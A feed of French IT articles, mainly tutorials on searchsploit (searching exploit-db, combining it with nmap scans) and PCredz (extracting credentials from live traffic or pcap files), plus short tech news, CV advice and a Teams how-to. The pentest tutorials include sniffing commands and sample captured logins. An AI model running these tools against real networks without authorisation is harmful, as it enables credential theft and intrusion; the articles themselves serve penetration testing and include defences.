<p><em>Searchsploit</em> fait partie du paquet <em>exploit-db</em>, présent nativement sur les machines KaliLinux. Pour les autres systèmes, vous trouverez le dépôt Github du projet ici : <a href="https://github.com/offensive-security/exploit-database." target="_blank" rel="noopener noreferrer">https://github.com/offensive-security/exploit-database.</a></p>
<pre>cd /opt/
git clone https://github.com/offensive-security/exploitdb.git</pre>
<p>Tous les exploits seront alors téléchargés sur votre machine, il ne s'agit que de fichiers textes, scripts ou binaires à compiler, il faut cependant prévoir environs 100 Mo de libre sur votre espace disque.</p>
<pre>root@kali:/opt# ls exploit-database/*
 exploit-database/files.csv exploit-database/README.md exploit-database/searchsploit
exploit-database/platforms:
 aix bsdi_x86 hardware linux_crisv32 netbsd_x86 php solaris_sparc win_x86-64
 android bsd_ppc hp-ux linux_mips netware plan9 solaris_x86 xml
 arm bsd_x86 immunix linux_ppc novell python system_z
 ashx cfm ios linux_sparc openbsd qnx tru64
 asp cgi irix lin_x86 openbsd_x86 ruby ultrix
 aspx freebsd java lin_x86-64 osx sco unix
 atheos freebsd_x86 json macos osx_ppc sco_x86 unixware
 beos freebsd_x86-64 jsp minix palm_os sh4 windows
 bsd generator linux multiple perl solaris win_x86</pre>
<p>Auprès téléchargement du dépôt <em>git,</em> vous trouverez dans le répertoire <em>exploit-database/searchsploit</em> le script <em>searchsploit,</em> ainsi que tous les exploits de la base de données <em>exploit-db</em> dans le répertoire <em>platforms.</em> Pour pouvoir utiliser la commande depuis n'importe où dans votre système, faites un lien symbolique vers le répertoire des binaires du système.</p>
<pre>ln -sf /opt/exploit-database/searchsploit /usr/local/bin/searchsploit</pre>
<p>Pour les utilisateurs de KaliLinux, les exploits sont présents dans le répertoire <em>/usr/share/exploitdb/platforms/</em>.</p>
<p>La base de données d'<em>exploit-db</em> est mise à jour régulièrement afin d'intégrer les dernières découvertes des chercheurs en sécurité. Il convient donc de mettre à jour notre base de données locale <em>searchsploit.</em> Cela peut être fait par une mise à jour standard pour les machines KaliLinux car le paquet fait partie des paquets installés nativement (<em>apt-get update;apt-get upgrade</em>). Egalement, et notamment pour les installation depuis le dépôt Github, on peut utiliser l'option "<em>-u</em>" ou "<em>--update</em>" de <em>searchsploit.</em></p>
<pre>searchsploit -u</pre>
<p>La base de données locale va donc ensuite être mise à jour.</p>
<h2>III. Utilisation</h2>
<p>L'utilisation de <em>searchsploit</em> est des plus simple, par exemple pour rechercher les exploits concernant Tomcat.</p>
<pre>root@kali:/opt# searchsploit Tomcat
 ---------------------------------------------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
 ---------------------------------------------------------------------
 4D WebSTAR 5.3/5.4 Tomcat Plugin - Remote Buffer Overflow | osx/remote/25626.c
 AWStats 6.x - Apache Tomcat Configuration File Arbitrary Command Exe | cgi/webapps/35035.txt
 Apache 1.3.x + Tomcat 4.0.x/4.1.x (Mod_JK) - Chunked Encoding Denial | unix/dos/22068.pl
 Apache Commons FileUpload and Apache Tomcat - Denial of Service | multiple/dos/31615.rb
 Apache Tomcat (Windows) - 'runtime.getRuntime().exec()' Privilege Es | windows/local/7264.txt
 Apache Tomcat - (WebDAV) Remote File Disclosure | multiple/remote/4530.pl
 Apache Tomcat - (WebDAV) Remote File Disclosure (SSL) | linux/remote/4552.pl
 Apache Tomcat - Account Scanner / 'PUT' Request Remote Exploit | multiple/remote/18619.txt
 Apache Tomcat - Cookie Quote Handling Remote Information Disclosure | multiple/remote/9994.txt
 [...]</pre>
<p>Pour cibler une version préciser de Tomcat</p>
<pre> ---------------------------------------------------------------------
 root@kali:/opt# searchsploit Tomcat 3.1
 ---------------------------------------------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
 ---------------------------------------------------------------------
 Apache Tomcat 3.1 - Path Revealing | multiple/remote/20131.txt
 Tomcat 3.0/3.1 Snoop Servlet - Information Disclosure | multiple/remote/20132.txt
 ---------------------------------------------------------------------</pre>
<p>On observe notamment sur la colonne de droite la présence des chemins locaux des exploits, si je souhaite récupérer l'exploit ou la procédure d'attaque pour "<em>Apache Tomcat 3.1 - Path Revealing</em> ", il me suffit de suivre le chemin indiqué :</p>
<pre>root@kali:/opt# cat /usr/share/exploitdb/platforms/multiple/remote/20131.txt
 source: http://www.securityfocus.com/bid/1531/info
A vulnerability exists in the JSP portion of the Tomcat package, version 3.1, from the Apache Software Foundation. Upon hitting an nonexistent JSP file, too much information is presented by the server as part of the error message. This information may be useful to a would be attacker in conducting further attacks.
http://narco.guerrilla.sucks.co:8080/anything.jsp
Error: 404
 Location: /anything.jsp
JSP file "/appsrv2/jakarta-tomcat/webapps/ROOT/anything.jsp" not found</pre>
<p>On peut également demander à afficher les URL pour récupérer les exploits depuis Internet sur le site d'<em>exploit-db</em> en utilisant l"option "<em>-w</em>".</p>
<pre>root@kali:/opt# searchsploit Tomcat 3.1 -w
 -----------------------------------------------------------
 Exploit Title | URL
 -----------------------------------------------------------
 Apache Tomcat 3.1 - Path Revealing | https://www.exploit-db.com/exploits/20131/
 Tomcat 3.0/3.1 Snoop Servlet - Information Disclosure | https://www.exploit-db.com/exploits/20132/
 -----------------------------------------------------------</pre>
<p>Pour omettre certains mots-clés du résultat, on peut utiliser l'option "<em>--exclude</em>" :</p>
<pre>root@kali:/opt# searchsploit Tomcat 3.1 -w --exclude="dos|Snoop"
 -----------------------------------------------------------
 Exploit Title | URL
 -----------------------------------------------------------
 Apache Tomcat 3.1 - Path Revealing | https://www.exploit-db.com/exploits/20131/
 -----------------------------------------------------------</pre>
<h2>IV. Combiner nmap et searchsploit</h2>
<p>Il est possible de donner à <em>searchsploit</em> le résultat d'une commande <em>nmap</em> pour qu'il effectue ses recherches sur les services et systèmes d'exploitations détectés. Il faut pour cela enregistrer le scan <em>nmap</em> à traiter au format XML avec l'option "<em>-oX</em>" de <em>nmap</em> :</p>
<pre>nmap -sT -F 192.168.56.11 -oX file.xml -A</pre>
<p>On peut ensuite utiliser l'option "<em>--nmap</em>" de <em>searchsploit</em></p>
<pre>root@kali:/opt# searchsploit --nmap file.xml
 [i] SearchSploit's XML mode (without verbose enabled)
 [i] Reading: 'file.xml'
[i] /usr/bin/searchsploit -t microsoft windows rpc
 ---------------------------------------------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
 ---------------------------------------------------------------------
 Microsoft Windows - 'Lsasrv.dll' RPC Remote Buffer Overflow (MS04-01 | windows/remote/293.c
 Microsoft Windows - 'RPC DCOM' Long Filename Overflow (MS03-026) | windows/remote/100.c
 Microsoft Windows - 'RPC DCOM' Remote Buffer Overflow | windows/remote/64.c
 Microsoft Windows - 'RPC DCOM' Remote Exploit (1) | windows/remote/69.c
 Microsoft Windows - 'RPC DCOM' Remote Exploit (2) | windows/remote/70.c
[...]
 Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (2) | windows/dos/21952.c
 Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (3) | windows/dos/21953.txt
 Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (4) | windows/dos/21954.txt
 Microsoft Windows XP/2003 - RPCSS Service Isolation Privilege Escala | windows/local/32892.txt
 ---------------------------------------------------------------------
[i] /usr/bin/searchsploit -t microsoft windows netbios ssn
[i] /usr/bin/searchsploit -t windows 10 enterprise evaluation 15063 microsoft ds</pre>
<p>Cette recherche n'est ni exhaustive ni très précise, il convient donc de vérifier les résultats fournis par <em>searchsploit</em> qui prend uniquement le nom des services détectés pour effectuer des recherches.</p>
<p>L'outil <em>searchsploit</em> est donc très pratique il permet notamment d'avoir accès tous les exploits de la plateforme <em>exploit-db</em> sans accès à Internet. Il est enfin à noter que l'on ne peut obtenir les informations relatives aux <em>"Papers"</em> publiés sur <em>exploit-db</em> et à la base des Google Dorks.</p>


feed_id: https://www.it-connect.fr/?p=34767
title: Microsoft Edge et Google Chrome : les mises à jour en stand-by
uri: Microsoft-Edge-et-Google-Chrome-les-mises-à-jour-en-stand-by
url: https://www.it-connect.fr/microsoft-edge-et-google-chrome-les-mises-a-jour-en-stand-by/
content:
<p><strong>En raison du Coronavirus, Microsoft et Google ont décidés de suspendre les mises à jour d'Edge et de Chrome. Chrome 81 était attendu la semaine dernière : sa sortie est donc retardée. Forcément, cela impact directement Edge qui se base sur les versions stables de Chromium.</strong></p>
<p>Google précise également que le développement de Chrome 82 est arrêté pour se focaliser directement sur Chrome 83. La réorganisation du travail imposée par le confinement oblige les entreprises à revoir leurs plans, car il y a ce fameux temps d'adaptation pour rendre tout le monde opérationnel.</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="en">In light of the current circumstances, the Edge team will pause updating the Stable channel to Edge 81 consistent with the Chromium Project. We are committed to continued security and stability updates to Edge 80. We’ll have more to share on this next week. <a href="https://t.co/nWfm87MEK2">https://t.co/nWfm87MEK2</a></p>
<p>— Microsoft Edge Dev (@MSEdgeDev) <a href="https://twitter.com/MSEdgeDev/status/1241055996379664384?ref_src=twsrc%5Etfw">March 20, 2020</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>Malgré une feuille de route bouleversée, Microsoft et Google vont continuer d'assurer la disponibilité des correctifs de sécurité et les mises à jour liées à la stabilité des versions en cours. Autrement dit, le navigateur Microsoft Edge est contraint de rester sur Chromium 80 pour le moment, à savoir la dernière version stable publiée par Google.</p>
<p>En parallèle, Microsoft va poursuivre son travail sur les versions bêta d'Edge et proposer des mises à jour régulières.</p>


feed_id: https://www.it-connect.fr/?p=34739
title: Comment adapter son CV aux logiciels de recrutement ATS ?
uri: Comment-adapter-son-CV-aux-logiciels-de-recrutement-ATS
url: https://www.it-connect.fr/comment-adapter-son-cv-aux-logiciels-de-recrutement-ats/
content:
<p><strong>Pour les aider dans le processus de recrutement, de plus en plus d’entreprises utilisent des logiciels de recrutement, qui trient les CV des candidats au moyen de mots-clés. Comment peut-on alors préparer son <a href="https://www.cv.fr/" rel="dofollow">curriculum vitae</a> à être lu par ces logiciels ? S’il existe de nombreuses façons de créer son <a href="https://www.cvwizard.fr/" rel="dofollow">CV en ligne</a>, mieux vaut connaître quelques règles afin qu’il atteigne le bureau des recruteurs !</strong></p>
<p>Les "<em>Applicant Tracking System</em>" ou "ATS" sont des logiciels informatiques utilisés par les entreprises pour trier les candidatures reçues. Il s’agit en fait de logiciels automatisés d’aide au recrutement qui permettent de déceler les meilleurs candidats pour un poste donné et faciliter ainsi le processus d’embauche d’un nouveau salarié. Ainsi, au moyen d’algorithmes, le logiciel scanne les différentes candidatures reçues selon des critères imposés par le recruteur, pour ne garder à la fin que celles qui sont les plus appropriées pour le poste en question.</p>
<h2>Les avantages et inconvénients des logiciels de recrutement</h2>
<p>Pour les entreprises, les logiciels de recrutement sont un formidable outil qui leur facilitent grandement la tâche lorsqu’il s’agit de trouver le candidat idéal pour pourvoir un poste. Pour les candidats, les CV qui sont scannés par le logiciel bénéficient tous du même traitement, sans discrimination. Cela permet donc à tout le monde de bénéficier des mêmes chances pour un obtenir un poste. Néanmoins, comme tous logiciels qui utilisent des algorithmes, les ATS ont parfois leurs faiblesses… Des CV de candidats ayant le profil pour le poste peuvent parfois être écartés par la machine parce qu’ils ne contiennent pas assez de mots-clés, par exemple, ou qu’ils sont trop originaux. Il est donc important de suivre quelques règles pour ne pas voir votre CV écarté par ces logiciels alors même que vous correspondez au candidat idéal.</p>
<h2>Nos conseils</h2>
<p><strong>1 - Utilisez des mots-clés</strong></p>
<p>Absolument incontournables, les mots-clés sont les mots qui vont être scannés et reconnus par les logiciels de recrutement. Il est donc important de bien les choisir ! Si vous répondez à une offre d’emploi, identifiez ceux contenus dans l’annonce et utilisez-les lors de la rédaction de votre CV. Il y a en effet de fortes chances que le recruteur ait indiqué ces mots-clés comme filtres de sélection. Avant de vous lancer dans la rédaction de votre CV, vous pouvez donc établir une liste de mots-clés. Prenez soin ensuite de les faire apparaître dans votre curriculum vitae.</p>
<p><strong>2 - Faites apparaître les mots-clés le plus tôt possible dans le CV</strong></p>
<p>Pour que les mots-clés utilisés dans votre CV soient efficaces et vous permettent d’être repéré par les logiciels de recrutement, il est important de les faire apparaître au plus tôt dans votre CV, dès votre profil personnel par exemple. Le profil personnel est une accroche de quelques lignes qui permet de résumer votre parcours et vos objectifs professionnels. Aussi, les mêmes mots-clés peuvent apparaître plusieurs fois dans votre CV.</p>
<p><strong>3 - Utilisez un vocabulaire précis</strong></p>
<p>Qu’il s’agisse des diplômes, certificats de langue (tels que le TOEIC ou le TOEFL) ou encore de compétences techniques, il est important de faire apparaître les termes exacts dans son CV afin là encore d’optimiser les mots-clés et être repéré par les logiciels robots. Soyez donc précis lorsque vous rédigez les intitulés des postes que vous avez occupé, ou les formations que vous avez suivi. Evitez de préférence les acronymes, sauf s’ils très connus et fréquemment employés.</p>
<p><strong>4 - Privilégiez la simplicité à l’originalité</strong></p>
<p>Même s’il est tentant de vouloir faire mettre en page de façon originale son CV, il est préférable de jouer la carte de la simplicité lorsque votre curriculum vitae va être scanné par un logiciel automatisé de recrutement. En effet, trop de couleurs ou des pictogrammes pour remplacer le nom des rubriques pourraient empêcher une bonne lecture de votre curriculum vitae par les logiciels. Il est donc préférable d’opter pour une mise en page simple.</p>
<p><strong>5 - Rédigez un CV ciblé</strong></p>
<p>Lors de la rédaction de votre CV, essayez autant que possible de ne mentionner que les expériences, formations ou compétences qui ont un lien avec le poste visé. Ce n’est pas la peine, par exemple, de citer tous les jobs étudiants que vous avez occupé. De cette manière, en rédigeant un CV ciblé, votre profil se rapprochera de celui du candidat idéal ! Concernant la longueur, ne dépassez pas une page, deux si vous avez vraiment beaucoup d’expérience.</p>


feed_id: https://www.it-connect.fr/?p=34064
title: Configurer l’accès hors connexion aux données Teams
uri: Configurer-l-accès-hors-connexion-aux-données-Teams
url: https://www.it-connect.fr/configurer-lacces-hors-connexion-aux-donnees-teams/
content:
<h2>I. Présentation</h2>
<p>L'outil collaboratif <strong>Teams permet à une équipe de stocker des fichiers en s'appuyant sur SharePoint</strong>, sans quitter le client Teams. Par contre, ces données sont accessibles uniquement en mode en ligne, ce qui n'est pas toujours pratique. Fort heureusement, comme il s'agit de stockage SharePoint, nous allons pouvoir <strong>synchroniser ses données en local grâce au client OneDrive</strong>, comme on le fait pour les autres bibliothèques de l'entreprise.</p>
<p>Voyons comment procéder.</p>
<h2>II. Procédure</h2>
<p>Dans le client Teams, <strong>sélectionnez le canal qui contient les fichiers à synchroniser</strong> en cliquant dessus.</p>
<p><img class="aligncenter size-full wp-image-34065" src="media/a6df1872.sync-teams-files-for-offline-use-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-01.png" alt="" width="481" height="154" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-01.png 481w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-01-150x48.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-01-160x51.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-01-50x16.png 50w" sizes="(max-width: 481px) 100vw, 481px" /></p>
<p>Ensuite, sur la partie droite du client Teams, cliquez sur l'onglet "<strong>Fichiers</strong>". Lorsqu'il sera affiché, le bouton "<strong>Synchroniser</strong>" va apparaître : il suffit de cliquer dessus pour démarrer la synchronisation à l'aide du client OneDrive.</p>
<p><img class="aligncenter size-full wp-image-34066" src="media/7f7fbbf1.sync-teams-files-for-offline-use-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-02.png" alt="" width="522" height="195" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-02.png 522w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-02-150x56.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-02-160x60.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-02-50x19.png 50w" sizes="(max-width: 522px) 100vw, 522px" /></p>
<p>Après quelques secondes, ce nouveau dossier synchronisé va apparaître dans l'explorateur de Windows. <strong>Attention, si vous utilisez la fonctionnalité de fichiers à la demande</strong>, vous devez effectuer un clic droit sur le dossier et cliquer sur "<strong>Toujours conserver sur cet appareil</strong>" pour que les données soient disponibles sans connexion à Internet.</p>
<p><img class="aligncenter size-full wp-image-34067" src="media/b395c830.sync-teams-files-for-offline-use-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-03.png" alt="" width="392" height="132" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-03.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-03-150x51.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-03-160x54.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-03-50x17.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-03-390x132.png 390w" sizes="(max-width: 392px) 100vw, 392px" /></p>
<p>A partir d'un navigateur, si vous accédez aux données de Teams, vous retrouvez le même bouton "<em>Synchroniser</em>" sur l'interface de SharePoint. Cela revient au même et vous permet de créer le partenariat de synchronisation.</p>
<p><img class="aligncenter size-full wp-image-34068" src="media/6530910f.sync-teams-files-for-offline-use-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-04.jpg" alt="" width="800" height="235" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-04.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-04-550x162.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-04-150x44.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-04-768x226.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-04-160x47.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/sync-teams-files-for-offline-use-04-50x15.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>&nbsp;</p>


feed_id: https://www.it-connect.fr/?p=34774
title: Failles 0-day exploitées dans Windows 10 et Windows Server
uri: Failles-0-day-exploitées-dans-Windows-10-et-Windows-Server
url: https://www.it-connect.fr/failles-0-day-exploitees-dans-windows-10-et-windows-server/
content:
<p><strong>Microsoft a communiqué sur l'existence de deux failles critiques "Zero Day" dans ses systèmes d'exploitation. Cela touche Windows 10, mais également Windows 7 et Windows 8.1, ainsi que Windows Server de 2008 à 2019. Rien que ça.</strong></p>
<p>Les deux vulnérabilités se situent au sein de la librairie "<em>Adobe Type Manager</em>" : si un document est ouvert sur un poste ou un serveur, du code arbitraire peut être exécuté à distance. Cela nécessite que le document utilise une police d'écriture spécifique. Plus grave encore : si l'on prévisualise le document via l'Explorateur de fichiers Windows, l'attaque est exécutée également. Cependant, le volet de prévisualisation Outlook n'est pas concerné (tant mieux).</p>
<p>Concernant le <strong>correctif, il va falloir être patient : il sera disponible lors de la sortie du prochain Patch Tuesday, en avril prochain.</strong> Plus précisément le 14 avril 2020. Pour Windows 7, à moins de souscrire au support étendu, il n'y aura pas de correctif. En alternative, Microsoft propose de désactiver le volet de prévisualisation de l'explorateur et d'arrêter le service WebClient (sans préciser l'impact).</p>
<p>Microsoft précise que des hackers exploitent déjà ces vulnérabilités au travers d'attaques ciblées. De son côté, Adobe nie toute responsabilité et estime que Microsoft est l'unique gestionnaire de cette librairie.</p>


feed_id: https://www.it-connect.fr/?p=34249
title: PCredz, récupérer des identifiants à partir d’une écoute réseau
uri: PCredz-récupérer-des-identifiants-à-partir-d-une-écoute-réseau
url: https://www.it-connect.fr/pcredz-recuperer-des-identifiants-a-partir-dune-ecoute-reseau/
content:
<h2>I. Présentation</h2>
<p>Je vous présente aujourd'hui un petit outil que j'ai l'habitude d'utiliser lors de scénarios de tests d'intrusion internes. Celui-ci permet de récupérer des identifiants à partir d'écoutes réseau.</p>
<p>PCredz est une petit outil assez simple écrit par Laurent Gaffié (Igandx, auteur de Responder), il s'agit simplement d'un <em>parser</em> en quête d'identifiant dans une suite de protocoles non sécurisés. Il peut être utilisé lors d'une écoute en <em>live</em> sur le réseau ou lire un fichier <em>.pcap</em> ou <em>.pcapng</em> (format produit par Wireshark ou TCPdump).</p>
<p>Il est en effet très fréquent que des protocoles non sécurisés soient utilisés au sein d'un réseau d'entreprise, cela car les utilisateurs et administrateurs se considèrent comme sécurisés lorsqu'ils sont "chez eux". Plus précisément car ils ne soupçonnent pas la facilité qu'un attaquant pourrait avoir à s'introduire logiquement dans leur réseau (en s'y connectant physiquement, en Wifi ou par la compromission d'un poste utilisateur), mais aussi car les menaces internes sont souvent oubliées des analyses de risques faites en internes.</p>
<h2>II. PCCredz</h2>
<p>L'outil peut être trouvé sur le dépôt de Laurent Gaffié : <a href="https://github.com/lgandx/PCredz" target="_blank" rel="noopener noreferrer">https://github.com/lgandx/PCredz</a></p>
<p>En date d'écriture de cet article, celui-ci gère déjà un bon nombre de protocoles :</p>
<ul>
<li>POP</li>
<li>SMTP</li>
<li>IMAP</li>
<li>SNMP community string</li>
<li>FTP</li>
<li>HTTP</li>
<li>NTLMv1/v2 (DCE-RPC,SMBv1/2,LDAP, MSSQL, HTTP, etc)</li>
<li>Kerberos (AS-REQ Pre-Auth etype 23) hashes.</li>
</ul>
<p>Tout ces protocoles, et bien d'autres d'ailleurs, sont en clair (sans aucun chiffrement), les phases authentification des utilisateurs et des systèmes font donc également passer ces informations là en clair, et n'importe qui en capacité d'intercepter ces flux peut les récupérer et les réutiliser.</p>
<p>Tous les <em>hashs</em> récupérés sont affichées selon le format <em>hashcat</em> afin qu'ils puissent être réutilisés rapidement et toutes les données récupérées sont stockées dans un fichier <strong>CredentialDump-Session.log</strong>.</p>
<p>Concernant l'utilisation, deux cas sont donc possibles. L'écoute en direct sur une interface, par exemple dans le cas d'une attaque par l'homme du milieu (<em>MITM)</em> menée en parallèle depuis le poste de l'attaquant :</p>
<pre><code>./Pcredz -i eth0</code></pre>
<p>Ou l'analyse "à froid" d'une fichier <em>.pcap</em> ou <em>.pcapng,</em> qui correspond aux scénarios d'écoutes menées sur une autre machine et dont les résultats ont ensuite été récupérés :</p>
<pre><code>./Pcredz -f file-to-parse.pcap</code></pre>
<p>On peut également indiquer un répertoire contenant plusieurs fichiers <em>.pcap</em>  avec l'option<em> -d</em> :</p>
<pre><code>./Pcredz -d /tmp/pcap-directory-to-parse/</code></pre>
<p>PCredz est écrit en python et se base essentiellement sur la librairie <em><span class="pl-s">libpcap</span>,</em> il est donc possible d'étudier son fonctionnement et de le modifier (en ajoutant des protocoles par exemple). Voici par exemple la partie du code contenant les expressions régulières pour certains des protocoles pris en charge :</p>
<p><a href="media/3022627b.pcredz_code_source.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/pcredz_code_source.png"><img class="aligncenter size-full wp-image-34251" src="media/3022627b.pcredz_code_source.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/pcredz_code_source.png" alt="" width="798" height="339" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/pcredz_code_source.png 798w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/pcredz_code_source-550x234.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/pcredz_code_source-150x64.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/pcredz_code_source-768x326.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/pcredz_code_source-160x68.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/pcredz_code_source-50x21.png 50w" sizes="(max-width: 798px) 100vw, 798px" /></a></p>
<p>Voici un exemple de sortie sur plusieurs fichiers récupérés sur le site <a href="http://www.pcapr.net" target="_blank" rel="noopener noreferrer">http://www.pcapr.net</a> :</p>
<pre># ./Pcredz -d pcap/
Pcredz 1.0.0
Author: Laurent Gaffie
Please send bugs/comments/pcaps to: laurent.gaffie@gmail.com
This script will extract NTLM (http,ldap,smb,sql,etc), Kerberos,
FTP, HTTP Basic and credit card data from a given pcap file or from a live interface.

CC number scanning activated

Parsing: pcap/POP3-NTLM-Authentication.CAP
Using TCPDump format
pcap/POP3-NTLM-Authentication.CAP parsed in: 0.0235 seconds (File size 0.00454 Mo).

Parsing: pcap/smtp-auth-login.pcap
Using TCPDump format
14 protocol: tcp 127.0.0.1:25915 &gt; 127.0.0.1:25
SMTP decoded Base64 string: username
pcap/smtp-auth-login.pcap parsed in: 0.0157 seconds (File size 0.00162 Mo).

Parsing: pcap/SMTP-Login-Auth.Cap
Using TCPDump format
21 protocol: tcp 192.168.26.1:1698 &gt; 192.168.26.130:25
SMTP decoded Base64 string: simon
pcap/SMTP-Login-Auth.Cap parsed in: 0.0238 seconds (File size 0.00463 Mo).

Parsing: pcap/krb5_pam_erebo_correct_login.pcap
Using TCPDump format
pcap/krb5_pam_erebo_correct_login.pcap parsed in: 0.00753 seconds (File size 0.00332 Mo).

Parsing: pcap/dump.pcap
Using TCPDump format
24 protocol: tcp 192.168.1.18:56380 &gt; 88.190.19.182:80
Found possible HTTP authentication username=flag_x:password=flag%7Bi_should_add_ssl%7D
Host: ctf.bi.tk
Full path: POST /login HTTP/1.1

pcap/dump.pcap parsed in: 0.0364 seconds (File size 0.0425 Mo).
Parsing: pcap/ftp-login.pcap
Using TCPDump format

9 protocol: tcp 192.168.1.7:50885 &gt; 192.168.1.3:21
FTP User: alex
FTP Pass: alex

pcap/ftp-login.pcap parsed in: 0.00617 seconds (File size 0.00143 Mo).</pre>
<h2>III. Scénarios d'utilisation</h2>
<p>Plusieurs moments clés dans le déroulement d'une intrusion peuvent conduire à l'utilisation de cet outil afin de faciliter le travail de l'attaquant au sein du réseau.</p>
<p><strong>L'une des premières étapes d'une intrusion reste l'écoute passive</strong>, l'attaquant qui parvient à accéder au réseau interne d'une entreprise se met simplement en écoute sur le réseau afin d'étudier ses composants et son comportement sans lever d'alerte (en envoyant par exemple des identifiants incorrectes ou en faisant des <em>scans</em> réseau).</p>
<p>Cette première écoute n'est pas la propice à l'utilisation de PCredz, car <strong>les requêtes contenant des identifiants sont généralement dédiées à un serveur précis et donc ciblées.</strong></p>
<p>Au fur et à mesure des compromissions et de ses avancées,<strong> un attaquant peut exécuter des écoutes réseaux sur les machines compromises</strong> afin de voir ce qui entre et sort de leur interface réseau. Ce type d'écoute est déjà bien plus intéressante pour l'utilisation de PCredz car l'utilisateur va forcément s'authentifier sur différents services au cours de sa journée. Egalement lors de la compromission d'un serveur, l'attaquant qui parvient à exécuter une écoute réseau va pouvoir <strong>récupérer les identifiants des utilisateurs qui se connectent aux services hébergés par le serveur</strong>.</p>
<p>Finalement, <strong>les cas d'interception réseaux, tels que l'ARP Spoofing , sont les plus intéressants</strong> car l'attaquant essaie de récupérer le plus de trafic possible afin d'y récupérer des informations, ou simplement de détourner/modifier le trafic intercepté pour des attaques massives ou ciblées.</p>
<p>Bref, nombreux sont les cas où une interception réseau est possible et l'utilisation de PCredz retourne souvent des résultats intéressants.</p>
<h2>IV. Protections</h2>
<p>Différents bonnes pratiques de sécurité peuvent ralentir l'attaquant lors d'une compromission interne du réseau et rendre inutile des outils tels que PCredz :</p>
<p>Au niveau architecture, les bonnes pratiquent générales de sécurité vont dans le sens du <strong>cloisonnement des systèmes et des utilisateurs par niveau de sensibilité ou criticité</strong>. Il est par exemple possible de positionner les administrateurs sur un réseau différent des utilisateurs. Ainsi, même en cas de compromission d'un poste utilisateur, le trafic réseau depuis et vers les postes des administrateurs sera plus difficile à intercepter (par<em> ARP spoofing</em> par exemple). Voir la <strong>règle 19 du Guide d'hygiène informatique de l'ANSSI</strong> "Segmenter le réseau et mettre en place un cloisonnement entre ces zone" : <a href="media/4b3fffbf.guide_hygiene_informatique_anssi.pdf" data-original-source="https://www.ssi.gouv.fr/uploads/2017/01/guide_hygiene_informatique_anssi.pdf" target="_blank" rel="noopener noreferrer">https://www.ssi.gouv.fr/uploads/2017/01/guide_hygiene_informatique_anssi.pdf</a></p>
<p>Concernant les configurations des services proposés aux utilisateurs, <strong>l'utilisation de protocoles sécurisés doit être systématique afin de réduire autant que possible la transmission d'identifiants en clair sur le réseau</strong>. Quasiment tous les protocoles proposent aujourd'hui une version chiffrée (HTTP -&gt; HTTPS, FTP -&gt; FTPS/SFTP, telnet -&gt; SSH, etc.). Voir<strong> la règle 21 du Guide d'hygiène informatique de l'ANSSI</strong> "Utiliser des protocoles réseaux sécurisés dès qu’ils existent".</p>
